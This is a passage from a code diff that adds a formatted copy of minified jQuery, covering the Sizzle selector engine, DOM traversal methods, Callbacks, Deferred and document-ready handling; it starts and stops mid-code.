e.querySelectorAll("*,:x"), + y.push(",.*:"); + })), + (n.matchesSelector = Q.test( + (m = + h.matches || + h.webkitMatchesSelector || + h.mozMatchesSelector || + h.oMatchesSelector || + h.msMatchesSelector) + )) && + ue(function (e) { + (n.disconnectedMatch = m.call(e, "*")), + m.call(e, "[s!='']:x"), + v.push("!=", W); + }), + (y = y.length && new RegExp(y.join("|"))), + (v = v.length && new RegExp(v.join("|"))), + (t = Q.test(h.compareDocumentPosition)), + (x = + t || Q.test(h.contains) + ? function (e, t) { + var n = 9 === e.nodeType ? e.documentElement : e, + r = t && t.parentNode; + return ( + e === r || + !( + !r || + 1 !== r.nodeType || + !(n.contains + ? n.contains(r) + : e.compareDocumentPosition && + 16 & e.compareDocumentPosition(r)) + ) + ); + } + : function (e, t) { + if (t) while ((t = t.parentNode)) if (t === e) return !0; + return !1; + }), + (D = t + ? function (e, t) { + if (e === t) return (f = !0), 0; + var r = + !e.compareDocumentPosition - !t.compareDocumentPosition; + return ( + r || + (1 & + (r = + (e.ownerDocument || e) === (t.ownerDocument || t) + ? e.compareDocumentPosition(t) + : 1) || + (!n.sortDetached && t.compareDocumentPosition(e) === r) + ? e === d || (e.ownerDocument === w && x(w, e)) + ? -1 + : t === d || (t.ownerDocument === w && x(w, t)) + ? 1 + : c + ? O(c, e) - O(c, t) + : 0 + : 4 & r + ? -1 + : 1) + ); + } + : function (e, t) { + if (e === t) return (f = !0), 0; + var n, + r = 0, + i = e.parentNode, + o = t.parentNode, + a = [e], + s = [t]; + if (!i || !o) + return e === d + ? -1 + : t === d + ? 1 + : i + ? -1 + : o + ? 1 + : c + ? O(c, e) - O(c, t) + : 0; + if (i === o) return ce(e, t); + n = e; + while ((n = n.parentNode)) a.unshift(n); + n = t; + while ((n = n.parentNode)) s.unshift(n); + while (a[r] === s[r]) r++; + return r + ? ce(a[r], s[r]) + : a[r] === w + ? -1 + : s[r] === w + ? 1 + : 0; + }), + d) + : d; + }), + (oe.matches = function (e, t) { + return oe(e, null, null, t); + }), + (oe.matchesSelector = function (e, t) { + if ( + ((e.ownerDocument || e) !== d && p(e), + (t = t.replace(z, "='$1']")), + n.matchesSelector && + g && + !S[t + " "] && + (!v || !v.test(t)) && + (!y || !y.test(t))) + ) + try { + var r = m.call(e, t); + if ( + r || + n.disconnectedMatch || + (e.document && 11 !== e.document.nodeType) + ) + return r; + } catch (e) {} + return oe(t, d, null, [e]).length > 0; + }), + (oe.contains = function (e, t) { + return (e.ownerDocument || e) !== d && p(e), x(e, t); + }), + (oe.attr = function (e, t) { + (e.ownerDocument || e) !== d && p(e); + var i = r.attrHandle[t.toLowerCase()], + o = i && N.call(r.attrHandle, t.toLowerCase()) ? i(e, t, !g) : void 0; + return void 0 !== o + ? o + : n.attributes || !g + ? e.getAttribute(t) + : (o = e.getAttributeNode(t)) && o.specified + ? o.value + : null; + }), + (oe.escape = function (e) { + return (e + "").replace(te, ne); + }), + (oe.error = function (e) { + throw new Error("Syntax error, unrecognized expression: " + e); + }), + (oe.uniqueSort = function (e) { + var t, + r = [], + i = 0, + o = 0; + if ( + ((f = !n.detectDuplicates), + (c = !n.sortStable && e.slice(0)), + e.sort(D), + f) + ) { + while ((t = e[o++])) t === e[o] && (i = r.push(o)); + while (i--) e.splice(r[i], 1); + } + return (c = null), e; + }), + (i = oe.getText = + function (e) { + var t, + n = "", + r = 0, + o = e.nodeType; + if (o) { + if (1 === o || 9 === o || 11 === o) { + if ("string" == typeof e.textContent) return e.textContent; + for (e = e.firstChild; e; e = e.nextSibling) n += i(e); + } else if (3 === o || 4 === o) return e.nodeValue; + } else while ((t = e[r++])) n += i(t); + return n; + }), + ((r = oe.selectors = + { + cacheLength: 50, + createPseudo: se, + match: V, + attrHandle: {}, + find: {}, + relative: { + ">": { dir: "parentNode", first: !0 }, + " ": { dir: "parentNode" }, + "+": { dir: "previousSibling", first: !0 }, + "~": { dir: "previousSibling" }, + }, + preFilter: { + ATTR: function (e) { + return ( + (e[1] = e[1].replace(Z, ee)), + (e[3] = (e[3] || e[4] || e[5] || "").replace(Z, ee)), + "~=" === e[2] && (e[3] = " " + e[3] + " "), + e.slice(0, 4) + ); + }, + CHILD: function (e) { + return ( + (e[1] = e[1].toLowerCase()), + "nth" === e[1].slice(0, 3) + ? (e[3] || oe.error(e[0]), + (e[4] = +(e[4] + ? e[5] + (e[6] || 1) + : 2 * ("even" === e[3] || "odd" === e[3]))), + (e[5] = +(e[7] + e[8] || "odd" === e[3]))) + : e[3] && oe.error(e[0]), + e + ); + }, + PSEUDO: function (e) { + var t, + n = !e[6] && e[2]; + return V.CHILD.test(e[0]) + ? null + : (e[3] + ? (e[2] = e[4] || e[5] || "") + : n && + X.test(n) && + (t = a(n, !0)) && + (t = n.indexOf(")", n.length - t) - n.length) && + ((e[0] = e[0].slice(0, t)), (e[2] = n.slice(0, t))), + e.slice(0, 3)); + }, + }, + filter: { + TAG: function (e) { + var t = e.replace(Z, ee).toLowerCase(); + return "*" === e + ? function () { + return !0; + } + : function (e) { + return e.nodeName && e.nodeName.toLowerCase() === t; + }; + }, + CLASS: function (e) { + var t = E[e + " "]; + return ( + t || + ((t = new RegExp("(^|" + M + ")" + e + "(" + M + "|$)")) && + E(e, function (e) { + return t.test( + ("string" == typeof e.className && e.className) || + ("undefined" != typeof e.getAttribute && + e.getAttribute("class")) || + "" + ); + })) + ); + }, + ATTR: function (e, t, n) { + return function (r) { + var i = oe.attr(r, e); + return null == i + ? "!=" === t + : !t || + ((i += ""), + "=" === t + ? i === n + : "!=" === t + ? i !== n + : "^=" === t + ? n && 0 === i.indexOf(n) + : "*=" === t + ? n && i.indexOf(n) > -1 + : "$=" === t + ? n && i.slice(-n.length) === n + : "~=" === t + ? (" " + i.replace($, " ") + " ").indexOf(n) > -1 + : "|=" === t && + (i === n || i.slice(0, n.length + 1) === n + "-")); + }; + }, + CHILD: function (e, t, n, r, i) { + var o = "nth" !== e.slice(0, 3), + a = "last" !== e.slice(-4), + s = "of-type" === t; + return 1 === r && 0 === i + ? function (e) { + return !!e.parentNode; + } + : function (t, n, u) { + var l, + c, + f, + p, + d, + h, + g = o !== a ? "nextSibling" : "previousSibling", + y = t.parentNode, + v = s && t.nodeName.toLowerCase(), + m = !u && !s, + x = !1; + if (y) { + if (o) { + while (g) { + p = t; + while ((p = p[g])) + if ( + s + ? p.nodeName.toLowerCase() === v + : 1 === p.nodeType + ) + return !1; + h = g = "only" === e && !h && "nextSibling"; + } + return !0; + } + if (((h = [a ? y.firstChild : y.lastChild]), a && m)) { + (x = + (d = + (l = + (c = + (f = (p = y)[b] || (p[b] = {}))[p.uniqueID] || + (f[p.uniqueID] = {}))[e] || [])[0] === T && + l[1]) && l[2]), + (p = d && y.childNodes[d]); + while ( + (p = (++d && p && p[g]) || (x = d = 0) || h.pop()) + ) + if (1 === p.nodeType && ++x && p === t) { + c[e] = [T, d, x]; + break; + } + } else if ( + (m && + (x = d = + (l = + (c = + (f = (p = t)[b] || (p[b] = {}))[p.uniqueID] || + (f[p.uniqueID] = {}))[e] || [])[0] === T && + l[1]), + !1 === x) + ) + while ( + (p = (++d && p && p[g]) || (x = d = 0) || h.pop()) + ) + if ( + (s + ? p.nodeName.toLowerCase() === v + : 1 === p.nodeType) && + ++x && + (m && + ((c = + (f = p[b] || (p[b] = {}))[p.uniqueID] || + (f[p.uniqueID] = {}))[e] = [T, x]), + p === t) + ) + break; + return (x -= i) === r || (x % r == 0 && x / r >= 0); + } + }; + }, + PSEUDO: function (e, t) { + var n, + i = + r.pseudos[e] || + r.setFilters[e.toLowerCase()] || + oe.error("unsupported pseudo: " + e); + return i[b] + ? i(t) + : i.length > 1 + ? ((n = [e, e, "", t]), + r.setFilters.hasOwnProperty(e.toLowerCase()) + ? se(function (e, n) { + var r, + o = i(e, t), + a = o.length; + while (a--) e[(r = O(e, o[a]))] = !(n[r] = o[a]); + }) + : function (e) { + return i(e, 0, n); + }) + : i; + }, + }, + pseudos: { + not: se(function (e) { + var t = [], + n = [], + r = s(e.replace(B, "$1")); + return r[b] + ? se(function (e, t, n, i) { + var o, + a = r(e, null, i, []), + s = e.length; + while (s--) (o = a[s]) && (e[s] = !(t[s] = o)); + }) + : function (e, i, o) { + return ( + (t[0] = e), r(t, null, o, n), (t[0] = null), !n.pop() + ); + }; + }), + has: se(function (e) { + return function (t) { + return oe(e, t).length > 0; + }; + }), + contains: se(function (e) { + return ( + (e = e.replace(Z, ee)), + function (t) { + return (t.textContent || t.innerText || i(t)).indexOf(e) > -1; + } + ); + }), + lang: se(function (e) { + return ( + U.test(e || "") || oe.error("unsupported lang: " + e), + (e = e.replace(Z, ee).toLowerCase()), + function (t) { + var n; + do { + if ( + (n = g + ? t.lang + : t.getAttribute("xml:lang") || t.getAttribute("lang")) + ) + return ( + (n = n.toLowerCase()) === e || 0 === n.indexOf(e + "-") + ); + } while ((t = t.parentNode) && 1 === t.nodeType); + return !1; + } + ); + }), + target: function (t) { + var n = e.location && e.location.hash; + return n && n.slice(1) === t.id; + }, + root: function (e) { + return e === h; + }, + focus: function (e) { + return ( + e === d.activeElement && + (!d.hasFocus || d.hasFocus()) && + !!(e.type || e.href || ~e.tabIndex) + ); + }, + enabled: de(!1), + disabled: de(!0), + checked: function (e) { + var t = e.nodeName.toLowerCase(); + return ( + ("input" === t && !!e.checked) || + ("option" === t && !!e.selected) + ); + }, + selected: function (e) { + return ( + e.parentNode && e.parentNode.selectedIndex, !0 === e.selected + ); + }, + empty: function (e) { + for (e = e.firstChild; e; e = e.nextSibling) + if (e.nodeType < 6) return !1; + return !0; + }, + parent: function (e) { + return !r.pseudos.empty(e); + }, + header: function (e) { + return Y.test(e.nodeName); + }, + input: function (e) { + return G.test(e.nodeName); + }, + button: function (e) { + var t = e.nodeName.toLowerCase(); + return ("input" === t && "button" === e.type) || "button" === t; + }, + text: function (e) { + var t; + return ( + "input" === e.nodeName.toLowerCase() && + "text" === e.type && + (null == (t = e.getAttribute("type")) || + "text" === t.toLowerCase()) + ); + }, + first: he(function () { + return [0]; + }), + last: he(function (e, t) { + return [t - 1]; + }), + eq: he(function (e, t, n) { + return [n < 0 ? n + t : n]; + }), + even: he(function (e, t) { + for (var n = 0; n < t; n += 2) e.push(n); + return e; + }), + odd: he(function (e, t) { + for (var n = 1; n < t; n += 2) e.push(n); + return e; + }), + lt: he(function (e, t, n) { + for (var r = n < 0 ? n + t : n; --r >= 0; ) e.push(r); + return e; + }), + gt: he(function (e, t, n) { + for (var r = n < 0 ? n + t : n; ++r < t; ) e.push(r); + return e; + }), + }, + }).pseudos.nth = r.pseudos.eq); + for (t in { radio: !0, checkbox: !0, file: !0, password: !0, image: !0 }) + r.pseudos[t] = fe(t); + for (t in { submit: !0, reset: !0 }) r.pseudos[t] = pe(t); + function ye() {} + (ye.prototype = r.filters = r.pseudos), + (r.setFilters = new ye()), + (a = oe.tokenize = + function (e, t) { + var n, + i, + o, + a, + s, + u, + l, + c = k[e + " "]; + if (c) return t ? 0 : c.slice(0); + (s = e), (u = []), (l = r.preFilter); + while (s) { + (n && !(i = F.exec(s))) || + (i && (s = s.slice(i[0].length) || s), u.push((o = []))), + (n = !1), + (i = _.exec(s)) && + ((n = i.shift()), + o.push({ value: n, type: i[0].replace(B, " ") }), + (s = s.slice(n.length))); + for (a in r.filter) + !(i = V[a].exec(s)) || + (l[a] && !(i = l[a](i))) || + ((n = i.shift()), + o.push({ value: n, type: a, matches: i }), + (s = s.slice(n.length))); + if (!n) break; + } + return t ? s.length : s ? oe.error(e) : k(e, u).slice(0); + }); + function ve(e) { + for (var t = 0, n = e.length, r = ""; t < n; t++) r += e[t].value; + return r; + } + function me(e, t, n) { + var r = t.dir, + i = t.next, + o = i || r, + a = n && "parentNode" === o, + s = C++; + return t.first + ? function (t, n, i) { + while ((t = t[r])) if (1 === t.nodeType || a) return e(t, n, i); + return !1; + } + : function (t, n, u) { + var l, + c, + f, + p = [T, s]; + if (u) { + while ((t = t[r])) + if ((1 === t.nodeType || a) && e(t, n, u)) return !0; + } else + while ((t = t[r])) + if (1 === t.nodeType || a) + if ( + ((f = t[b] || (t[b] = {})), + (c = f[t.uniqueID] || (f[t.uniqueID] = {})), + i && i === t.nodeName.toLowerCase()) + ) + t = t[r] || t; + else { + if ((l = c[o]) && l[0] === T && l[1] === s) + return (p[2] = l[2]); + if (((c[o] = p), (p[2] = e(t, n, u)))) return !0; + } + return !1; + }; + } + function xe(e) { + return e.length > 1 + ? function (t, n, r) { + var i = e.length; + while (i--) if (!e[i](t, n, r)) return !1; + return !0; + } + : e[0]; + } + function be(e, t, n) { + for (var r = 0, i = t.length; r < i; r++) oe(e, t[r], n); + return n; + } + function we(e, t, n, r, i) { + for (var o, a = [], s = 0, u = e.length, l = null != t; s < u; s++) + (o = e[s]) && ((n && !n(o, r, i)) || (a.push(o), l && t.push(s))); + return a; + } + function Te(e, t, n, r, i, o) { + return ( + r && !r[b] && (r = Te(r)), + i && !i[b] && (i = Te(i, o)), + se(function (o, a, s, u) { + var l, + c, + f, + p = [], + d = [], + h = a.length, + g = o || be(t || "*", s.nodeType ? [s] : s, []), + y = !e || (!o && t) ? g : we(g, p, e, s, u), + v = n ? (i || (o ? e : h || r) ? [] : a) : y; + if ((n && n(y, v, s, u), r)) { + (l = we(v, d)), r(l, [], s, u), (c = l.length); + while (c--) (f = l[c]) && (v[d[c]] = !(y[d[c]] = f)); + } + if (o) { + if (i || e) { + if (i) { + (l = []), (c = v.length); + while (c--) (f = v[c]) && l.push((y[c] = f)); + i(null, (v = []), l, u); + } + c = v.length; + while (c--) + (f = v[c]) && + (l = i ? O(o, f) : p[c]) > -1 && + (o[l] = !(a[l] = f)); + } + } else (v = we(v === a ? v.splice(h, v.length) : v)), i ? i(null, a, v, u) : L.apply(a, v); + }) + ); + } + function Ce(e) { + for ( + var t, + n, + i, + o = e.length, + a = r.relative[e[0].type], + s = a || r.relative[" "], + u = a ? 1 : 0, + c = me( + function (e) { + return e === t; + }, + s, + !0 + ), + f = me( + function (e) { + return O(t, e) > -1; + }, + s, + !0 + ), + p = [ + function (e, n, r) { + var i = + (!a && (r || n !== l)) || + ((t = n).nodeType ? c(e, n, r) : f(e, n, r)); + return (t = null), i; + }, + ]; + u < o; + u++ + ) + if ((n = r.relative[e[u].type])) p = [me(xe(p), n)]; + else { + if ((n = r.filter[e[u].type].apply(null, e[u].matches))[b]) { + for (i = ++u; i < o; i++) if (r.relative[e[i].type]) break; + return Te( + u > 1 && xe(p), + u > 1 && + ve( + e + .slice(0, u - 1) + .concat({ value: " " === e[u - 2].type ? "*" : "" }) + ).replace(B, "$1"), + n, + u < i && Ce(e.slice(u, i)), + i < o && Ce((e = e.slice(i))), + i < o && ve(e) + ); + } + p.push(n); + } + return xe(p); + } + function Ee(e, t) { + var n = t.length > 0, + i = e.length > 0, + o = function (o, a, s, u, c) { + var f, + h, + y, + v = 0, + m = "0", + x = o && [], + b = [], + w = l, + C = o || (i && r.find.TAG("*", c)), + E = (T += null == w ? 1 : Math.random() || 0.1), + k = C.length; + for ( + c && (l = a === d || a || c); + m !== k && null != (f = C[m]); + m++ + ) { + if (i && f) { + (h = 0), a || f.ownerDocument === d || (p(f), (s = !g)); + while ((y = e[h++])) + if (y(f, a || d, s)) { + u.push(f); + break; + } + c && (T = E); + } + n && ((f = !y && f) && v--, o && x.push(f)); + } + if (((v += m), n && m !== v)) { + h = 0; + while ((y = t[h++])) y(x, b, a, s); + if (o) { + if (v > 0) while (m--) x[m] || b[m] || (b[m] = j.call(u)); + b = we(b); + } + L.apply(u, b), + c && !o && b.length > 0 && v + t.length > 1 && oe.uniqueSort(u); + } + return c && ((T = E), (l = w)), x; + }; + return n ? se(o) : o; + } + return ( + (s = oe.compile = + function (e, t) { + var n, + r = [], + i = [], + o = S[e + " "]; + if (!o) { + t || (t = a(e)), (n = t.length); + while (n--) (o = Ce(t[n]))[b] ? r.push(o) : i.push(o); + (o = S(e, Ee(i, r))).selector = e; + } + return o; + }), + (u = oe.select = + function (e, t, n, i) { + var o, + u, + l, + c, + f, + p = "function" == typeof e && e, + d = !i && a((e = p.selector || e)); + if (((n = n || []), 1 === d.length)) { + if ( + (u = d[0] = d[0].slice(0)).length > 2 && + "ID" === (l = u[0]).type && + 9 === t.nodeType && + g && + r.relative[u[1].type] + ) { + if (!(t = (r.find.ID(l.matches[0].replace(Z, ee), t) || [])[0])) + return n; + p && (t = t.parentNode), (e = e.slice(u.shift().value.length)); + } + o = V.needsContext.test(e) ? 0 : u.length; + while (o--) { + if (((l = u[o]), r.relative[(c = l.type)])) break; + if ( + (f = r.find[c]) && + (i = f( + l.matches[0].replace(Z, ee), + (K.test(u[0].type) && ge(t.parentNode)) || t + )) + ) { + if ((u.splice(o, 1), !(e = i.length && ve(u)))) + return L.apply(n, i), n; + break; + } + } + } + return ( + (p || s(e, d))( + i, + t, + !g, + n, + !t || (K.test(e) && ge(t.parentNode)) || t + ), + n + ); + }), + (n.sortStable = b.split("").sort(D).join("") === b), + (n.detectDuplicates = !!f), + p(), + (n.sortDetached = ue(function (e) { + return 1 & e.compareDocumentPosition(d.createElement("fieldset")); + })), + ue(function (e) { + return ( + (e.innerHTML = ""), + "#" === e.firstChild.getAttribute("href") + ); + }) || + le("type|href|height|width", function (e, t, n) { + if (!n) return e.getAttribute(t, "type" === t.toLowerCase() ? 1 : 2); + }), + (n.attributes && + ue(function (e) { + return ( + (e.innerHTML = ""), + e.firstChild.setAttribute("value", ""), + "" === e.firstChild.getAttribute("value") + ); + })) || + le("value", function (e, t, n) { + if (!n && "input" === e.nodeName.toLowerCase()) return e.defaultValue; + }), + ue(function (e) { + return null == e.getAttribute("disabled"); + }) || + le(P, function (e, t, n) { + var r; + if (!n) + return !0 === e[t] + ? t.toLowerCase() + : (r = e.getAttributeNode(t)) && r.specified + ? r.value + : null; + }), + oe + ); + })(e); + (w.find = E), + (w.expr = E.selectors), + (w.expr[":"] = w.expr.pseudos), + (w.uniqueSort = w.unique = E.uniqueSort), + (w.text = E.getText), + (w.isXMLDoc = E.isXML), + (w.contains = E.contains), + (w.escapeSelector = E.escape); + var k = function (e, t, n) { + var r = [], + i = void 0 !== n; + while ((e = e[t]) && 9 !== e.nodeType) + if (1 === e.nodeType) { + if (i && w(e).is(n)) break; + r.push(e); + } + return r; + }, + S = function (e, t) { + for (var n = []; e; e = e.nextSibling) + 1 === e.nodeType && e !== t && n.push(e); + return n; + }, + D = w.expr.match.needsContext; + function N(e, t) { + return e.nodeName && e.nodeName.toLowerCase() === t.toLowerCase(); + } + var A = /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i; + function j(e, t, n) { + return g(t) + ? w.grep(e, function (e, r) { + return !!t.call(e, r, e) !== n; + }) + : t.nodeType + ? w.grep(e, function (e) { + return (e === t) !== n; + }) + : "string" != typeof t + ? w.grep(e, function (e) { + return u.call(t, e) > -1 !== n; + }) + : w.filter(t, e, n); + } + (w.filter = function (e, t, n) { + var r = t[0]; + return ( + n && (e = ":not(" + e + ")"), + 1 === t.length && 1 === r.nodeType + ? w.find.matchesSelector(r, e) + ? [r] + : [] + : w.find.matches( + e, + w.grep(t, function (e) { + return 1 === e.nodeType; + }) + ) + ); + }), + w.fn.extend({ + find: function (e) { + var t, + n, + r = this.length, + i = this; + if ("string" != typeof e) + return this.pushStack( + w(e).filter(function () { + for (t = 0; t < r; t++) if (w.contains(i[t], this)) return !0; + }) + ); + for (n = this.pushStack([]), t = 0; t < r; t++) w.find(e, i[t], n); + return r > 1 ? w.uniqueSort(n) : n; + }, + filter: function (e) { + return this.pushStack(j(this, e || [], !1)); + }, + not: function (e) { + return this.pushStack(j(this, e || [], !0)); + }, + is: function (e) { + return !!j(this, "string" == typeof e && D.test(e) ? w(e) : e || [], !1) + .length; + }, + }); + var q, + L = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/; + ((w.fn.init = function (e, t, n) { + var i, o; + if (!e) return this; + if (((n = n || q), "string" == typeof e)) { + if ( + !(i = + "<" === e[0] && ">" === e[e.length - 1] && e.length >= 3 + ? [null, e, null] + : L.exec(e)) || + (!i[1] && t) + ) + return !t || t.jquery ? (t || n).find(e) : this.constructor(t).find(e); + if (i[1]) { + if ( + ((t = t instanceof w ? t[0] : t), + w.merge( + this, + w.parseHTML(i[1], t && t.nodeType ? t.ownerDocument || t : r, !0) + ), + A.test(i[1]) && w.isPlainObject(t)) + ) + for (i in t) g(this[i]) ? this[i](t[i]) : this.attr(i, t[i]); + return this; + } + return ( + (o = r.getElementById(i[2])) && ((this[0] = o), (this.length = 1)), this + ); + } + return e.nodeType + ? ((this[0] = e), (this.length = 1), this) + : g(e) + ? void 0 !== n.ready + ? n.ready(e) + : e(w) + : w.makeArray(e, this); + }).prototype = w.fn), + (q = w(r)); + var H = /^(?:parents|prev(?:Until|All))/, + O = { children: !0, contents: !0, next: !0, prev: !0 }; + w.fn.extend({ + has: function (e) { + var t = w(e, this), + n = t.length; + return this.filter(function () { + for (var e = 0; e < n; e++) if (w.contains(this, t[e])) return !0; + }); + }, + closest: function (e, t) { + var n, + r = 0, + i = this.length, + o = [], + a = "string" != typeof e && w(e); + if (!D.test(e)) + for (; r < i; r++) + for (n = this[r]; n && n !== t; n = n.parentNode) + if ( + n.nodeType < 11 && + (a + ? a.index(n) > -1 + : 1 === n.nodeType && w.find.matchesSelector(n, e)) + ) { + o.push(n); + break; + } + return this.pushStack(o.length > 1 ? w.uniqueSort(o) : o); + }, + index: function (e) { + return e + ? "string" == typeof e + ? u.call(w(e), this[0]) + : u.call(this, e.jquery ? e[0] : e) + : this[0] && this[0].parentNode + ? this.first().prevAll().length + : -1; + }, + add: function (e, t) { + return this.pushStack(w.uniqueSort(w.merge(this.get(), w(e, t)))); + }, + addBack: function (e) { + return this.add(null == e ? this.prevObject : this.prevObject.filter(e)); + }, + }); + function P(e, t) { + while ((e = e[t]) && 1 !== e.nodeType); + return e; + } + w.each( + { + parent: function (e) { + var t = e.parentNode; + return t && 11 !== t.nodeType ? t : null; + }, + parents: function (e) { + return k(e, "parentNode"); + }, + parentsUntil: function (e, t, n) { + return k(e, "parentNode", n); + }, + next: function (e) { + return P(e, "nextSibling"); + }, + prev: function (e) { + return P(e, "previousSibling"); + }, + nextAll: function (e) { + return k(e, "nextSibling"); + }, + prevAll: function (e) { + return k(e, "previousSibling"); + }, + nextUntil: function (e, t, n) { + return k(e, "nextSibling", n); + }, + prevUntil: function (e, t, n) { + return k(e, "previousSibling", n); + }, + siblings: function (e) { + return S((e.parentNode || {}).firstChild, e); + }, + children: function (e) { + return S(e.firstChild); + }, + contents: function (e) { + return N(e, "iframe") + ? e.contentDocument + : (N(e, "template") && (e = e.content || e), + w.merge([], e.childNodes)); + }, + }, + function (e, t) { + w.fn[e] = function (n, r) { + var i = w.map(this, t, n); + return ( + "Until" !== e.slice(-5) && (r = n), + r && "string" == typeof r && (i = w.filter(r, i)), + this.length > 1 && + (O[e] || w.uniqueSort(i), H.test(e) && i.reverse()), + this.pushStack(i) + ); + }; + } + ); + var M = /[^\x20\t\r\n\f]+/g; + function R(e) { + var t = {}; + return ( + w.each(e.match(M) || [], function (e, n) { + t[n] = !0; + }), + t + ); + } + w.Callbacks = function (e) { + e = "string" == typeof e ? R(e) : w.extend({}, e); + var t, + n, + r, + i, + o = [], + a = [], + s = -1, + u = function () { + for (i = i || e.once, r = t = !0; a.length; s = -1) { + n = a.shift(); + while (++s < o.length) + !1 === o[s].apply(n[0], n[1]) && + e.stopOnFalse && + ((s = o.length), (n = !1)); + } + e.memory || (n = !1), (t = !1), i && (o = n ? [] : ""); + }, + l = { + add: function () { + return ( + o && + (n && !t && ((s = o.length - 1), a.push(n)), + (function t(n) { + w.each(n, function (n, r) { + g(r) + ? (e.unique && l.has(r)) || o.push(r) + : r && r.length && "string" !== x(r) && t(r); + }); + })(arguments), + n && !t && u()), + this + ); + }, + remove: function () { + return ( + w.each(arguments, function (e, t) { + var n; + while ((n = w.inArray(t, o, n)) > -1) + o.splice(n, 1), n <= s && s--; + }), + this + ); + }, + has: function (e) { + return e ? w.inArray(e, o) > -1 : o.length > 0; + }, + empty: function () { + return o && (o = []), this; + }, + disable: function () { + return (i = a = []), (o = n = ""), this; + }, + disabled: function () { + return !o; + }, + lock: function () { + return (i = a = []), n || t || (o = n = ""), this; + }, + locked: function () { + return !!i; + }, + fireWith: function (e, n) { + return ( + i || + ((n = [e, (n = n || []).slice ? n.slice() : n]), + a.push(n), + t || u()), + this + ); + }, + fire: function () { + return l.fireWith(this, arguments), this; + }, + fired: function () { + return !!r; + }, + }; + return l; + }; + function I(e) { + return e; + } + function W(e) { + throw e; + } + function $(e, t, n, r) { + var i; + try { + e && g((i = e.promise)) + ? i.call(e).done(t).fail(n) + : e && g((i = e.then)) + ? i.call(e, t, n) + : t.apply(void 0, [e].slice(r)); + } catch (e) { + n.apply(void 0, [e]); + } + } + w.extend({ + Deferred: function (t) { + var n = [ + [ + "notify", + "progress", + w.Callbacks("memory"), + w.Callbacks("memory"), + 2, + ], + [ + "resolve", + "done", + w.Callbacks("once memory"), + w.Callbacks("once memory"), + 0, + "resolved", + ], + [ + "reject", + "fail", + w.Callbacks("once memory"), + w.Callbacks("once memory"), + 1, + "rejected", + ], + ], + r = "pending", + i = { + state: function () { + return r; + }, + always: function () { + return o.done(arguments).fail(arguments), this; + }, + catch: function (e) { + return i.then(null, e); + }, + pipe: function () { + var e = arguments; + return w + .Deferred(function (t) { + w.each(n, function (n, r) { + var i = g(e[r[4]]) && e[r[4]]; + o[r[1]](function () { + var e = i && i.apply(this, arguments); + e && g(e.promise) + ? e + .promise() + .progress(t.notify) + .done(t.resolve) + .fail(t.reject) + : t[r[0] + "With"](this, i ? [e] : arguments); + }); + }), + (e = null); + }) + .promise(); + }, + then: function (t, r, i) { + var o = 0; + function a(t, n, r, i) { + return function () { + var s = this, + u = arguments, + l = function () { + var e, l; + if (!(t < o)) { + if ((e = r.apply(s, u)) === n.promise()) + throw new TypeError("Thenable self-resolution"); + (l = + e && + ("object" == typeof e || "function" == typeof e) && + e.then), + g(l) + ? i + ? l.call(e, a(o, n, I, i), a(o, n, W, i)) + : (o++, + l.call( + e, + a(o, n, I, i), + a(o, n, W, i), + a(o, n, I, n.notifyWith) + )) + : (r !== I && ((s = void 0), (u = [e])), + (i || n.resolveWith)(s, u)); + } + }, + c = i + ? l + : function () { + try { + l(); + } catch (e) { + w.Deferred.exceptionHook && + w.Deferred.exceptionHook(e, c.stackTrace), + t + 1 >= o && + (r !== W && ((s = void 0), (u = [e])), + n.rejectWith(s, u)); + } + }; + t + ? c() + : (w.Deferred.getStackHook && + (c.stackTrace = w.Deferred.getStackHook()), + e.setTimeout(c)); + }; + } + return w + .Deferred(function (e) { + n[0][3].add(a(0, e, g(i) ? i : I, e.notifyWith)), + n[1][3].add(a(0, e, g(t) ? t : I)), + n[2][3].add(a(0, e, g(r) ? r : W)); + }) + .promise(); + }, + promise: function (e) { + return null != e ? w.extend(e, i) : i; + }, + }, + o = {}; + return ( + w.each(n, function (e, t) { + var a = t[2], + s = t[5]; + (i[t[1]] = a.add), + s && + a.add( + function () { + r = s; + }, + n[3 - e][2].disable, + n[3 - e][3].disable, + n[0][2].lock, + n[0][3].lock + ), + a.add(t[3].fire), + (o[t[0]] = function () { + return ( + o[t[0] + "With"](this === o ? void 0 : this, arguments), this + ); + }), + (o[t[0] + "With"] = a.fireWith); + }), + i.promise(o), + t && t.call(o, o), + o + ); + }, + when: function (e) { + var t = arguments.length, + n = t, + r = Array(n), + i = o.call(arguments), + a = w.Deferred(), + s = function (e) { + return function (n) { + (r[e] = this), + (i[e] = arguments.length > 1 ? o.call(arguments) : n), + --t || a.resolveWith(r, i); + }; + }; + if ( + t <= 1 && + ($(e, a.done(s(n)).resolve, a.reject, !t), + "pending" === a.state() || g(i[n] && i[n].then)) + ) + return a.then(); + while (n--) $(i[n], s(n), a.reject); + return a.promise(); + }, + }); + var B = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/; + (w.Deferred.exceptionHook = function (t, n) { + e.console && + e.console.warn && + t && + B.test(t.name) && + e.console.warn("jQuery.Deferred exception: " + t.message, t.stack, n); + }), + (w.readyException = function (t) { + e.setTimeout(function () { + throw t; + }); + }); + var F = w.Deferred(); + (w.fn.ready = function (e) { + return ( + F.then(e)["catch"](function (e) { + w.readyException(e); + }), + this + ); + }), + w.extend({ + isReady: !1, + readyWait: 1, + ready: function (e) { + (!0 === e ? --w.readyWait : w.isReady) || + ((w.isReady = !0), + (!0 !== e && --w.readyWait > 0) || F.resolveWith(r, [w])); + }, + }), + (w.ready.then = F.then); + function _() { + r.removeEventListener("DOMContentLoaded", _), + e.removeEventListener("load", _), + w.ready(); + } + "complete" === r.readyState || + ("loading" !== r.readyState && !r.documentElement.doScroll) + ? e.setTimeout(w.ready) + : (r.addEventListener("DOMContentLoaded", _), + e.addEventListener("load", _)); + var z = function (e, t, n, r, i, o, a) { + var s = 0, + u = e.length, + l = null == n; + if ("object" === x(n)) { + i = !0; + for (s in n) z(e, t, s, n[s], !0, o, a); + } else if ( + void 0 !== r && + ((i = !0), + g(r) || (a = !0), + l && + (a + ? (t.call(e, r), (t = null)) + : ((l = t), + (t = function (e, t, n) { + return l.call(w(e), n); + }))), + t) + ) + for (; s < u; s++) t(e[s], n, a ? r : r.call(e[s], s, t(e[s], n))); + return i ? e : l ? t.call(e) : u ? t(e[0], n) : o; + }, + X = /^-ms-/, + U = /-([a-z])/g; + function V(e, t) { + return t.toUpperCase(); + } + function G(e) { + return e.replace(X, "ms-").replace(U, V); + } + var 